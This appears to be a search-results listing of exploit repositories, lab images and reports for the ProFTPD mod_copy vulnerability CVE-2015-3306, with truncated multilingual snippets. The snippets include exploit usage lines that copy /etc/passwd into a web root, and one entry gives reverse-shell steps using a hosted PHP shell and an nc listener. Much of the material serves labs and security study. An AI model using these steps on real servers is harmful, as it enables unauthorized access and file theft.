41 matches found
cve-2015-3306
cve-2015-3306 Docker 镜像 hackarada/cve-2015-3306 仅供个人使用 root@kitploit: docker build -t hackarada/cve-2015-3306 docker run --rm -it -p 21:21 -p 80:80 hackarada/cve-2015-3306...
cpx_proftpd
cpxproftpd Daniel Aldana 为利用 CVE-2015-3306 编写的 PoC。漏洞由 Vadim Melihow 报告。 方法 1: 使用方法: root@kitploit: python cpxproftp.py 示例: root@kitploit: python cpxproftp.py 127.0.0.1 /etc/passwd /var/www/pass.txt 然后尝试访问: root@kitploit: http://127.0.0.1/pass.txt 方法 2: 使用方法: root@kitploit: python cpxproftp.py 示例...
cve-2015-3306
CVE-2015-3306 这是 Cved 的一部分: 一个用于管理易受攻击的 Docker 容器的工具。 Cved: https://github.com/git-rep-src/cved 镜像来源:https://github.com/cved-sources/cve-2015-3306 镜像作者:https://github.com/t0kx/exploit-CVE-2015-3306...
Modified-CVE-2015-3306-Exploit
Modified-CVE-2015-3306-Exploit 如何使用 1. 创建一个 PHP 反向 shell 2. 启动服务器以在同一目录中托管 shell python3 -m http.server 3. 启动 netcat 监听器在本地选择的端口,例如:nc -nlvp port of choice 4. 运行以下提供的漏洞利用示例 python3 modifiedCVE20153306.py --host remote host --port most likely port 21 --path /var/www or /var/www/html --shell name o...
propane
propane 利用 ProFTPD 的 modcopy 模块中的任意文件写入漏洞(CVE-2015-3306),并尝试代码执行。...
proftpd_bypass
该工具使用一系列特殊构造的命令来利用CVE-2015-3306并绕过ProFTPD的modcopy的身份验证系统。 可从此处下载here(需从命令行运行) 用法: proftpdbypass target port lcopy within target/rcopy to target lpath rpath...
CVE-2015-3306-Python-PoC
CVE-2015-3306-Python-PoC 这是从 metasploit 模块调整转换而来,作为 OSCP 学习和漏洞利用开发的练习。它最初来自用 searchsploit 搜索随机远程命令执行模块。我分析了 metasploit 代码并将其转换成了 python。 验证截图:...
ProFTPD_CVE-2015-3306
m4ud ProFTPD 1.3.5 RCE エクスプロイト CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...
OpenVAS-Vulnerability-Analysis-Incident-Response-Report
OpenVAS-漏洞分析-事件响应报告 真实场景模拟:FTP服务漏洞利用(ProFTPD CVE-2015-3306) 真实场景模拟:FTP服务漏洞利用(ProFTPD CVE-2015-3306) 📌 概述 本项目演示了在受控实验室环境中使用 OpenVAS Greenbone Vulnerability Manager 进行全周期漏洞评估和事件响应的工作流程。 目标是识别一个已知的FTP漏洞( vsftpd 后门 )。然而,通过实际分析和验证,发现并调查了一个不同的严重漏洞 ——这展示了基于真实分析而非假设的报告方式,体现了真实分析师决策过程。 🎯 关键成果 识别了 ProFTPD...
ProFTPd-1.3.5-mod_copy-Remote-Command-Execution
ProFTPd-1.3.5-modcopy-Remote-Command-Execution 利用 CVE-2015-3306 漏洞攻击 ProFTP 1.3.5 服务的脚本 用法 .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...
hackviser_labs_CVE-2015-3306
hackviserlabsCVE-2015-3306 Este es un script personalizado para ayudar a resolver el laboratorio de ejecución remota de código bajo el laboratorio CVE-2015-3306. Ejecútalo usando el siguiente comando: python3 exploit.py Reemplaza con la dirección que obtuviste al iniciar el laboratorio en la...
proftpd-mod_copy-cve-2015-3306
ProFTPD 1.3.5 modcopy 脆弱性 CVE-2015-3306 このリポジトリには、Hackviser プラットフォーム上の脆弱な ProFTPD 1.3.5 サービスを悪用するラボレポートが含まれています。 このラボでは、modcopy 脆弱性 CVE-2015-3306 を利用して、機密ファイル secret.txt への不正アクセスを実証します。 詳細な悪用手順と緩和策の推奨事項は report.md に含まれています。...
CY376_-AHENKORA_JOSEPH-
CY376 Red Team Project — Exploiting Known CVEs in a Deliberate...
cybersecurity-exam-report
Cybersecurity Exam Project: ProFTPD Exploitation and MySQL Dat...
Exploit for Improper Access Control in Proftpd
OpenVAS-Vulnerability-Analysis-Incident-Response-Report Real-W...
ProFTPd 1.3.5 - (mod_copy) Remote Command Execution Exploit (2)
Exploit Title: ProFTPd 1.3.5 - 'modcopy' Remote Command Execution 2 Exploit Author: Shellbr3ak Version: 1.3.5 Tested on: Ubuntu 16.04.6 LTS CVE : CVE-2015-3306 !/usr/bin/env python3 import sys import socket import requests def exploitclient, target: client.connecttarget,21 Connecting to the targe...
ProFTPd 1.3.5 Remote Command Execution
Exploit Title: ProFTPd 1.3.5 - 'modcopy' Remote Command Execution 2 Date: 25/05/2021 Exploit Author: Shellbr3ak Version: 1.3.5 Tested on: Ubuntu 16.04.6 LTS CVE : CVE-2015-3306 !/usr/bin/env python3 import sys import socket import requests def exploitclient, target: client.connecttarget,21...
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
Exploit Title: ProFTPd 1.3.5 - 'modcopy' Remote Command Execution 2 Date: 25/05/2021 Exploit Author: Shellbr3ak Version: 1.3.5 Tested on: Ubuntu 16.04.6 LTS CVE : CVE-2015-3306 !/usr/bin/env python3 import sys import socket import requests def exploitclient, target: client.connecttarget,21...
Mail.ru: [files.ucs.ru] ProFTPd mod_copy Arbitrary Read/Write
CVE-2015-3306 in opened to external network FTP server on files.ucs.ru...
CVE-2019-12815
An arbitrary file copy vulnerability in modcopy in ProFTPD up to 1.3.5b allows for remote code execution and information disclosure without authentication, a related issue to CVE-2015-3306...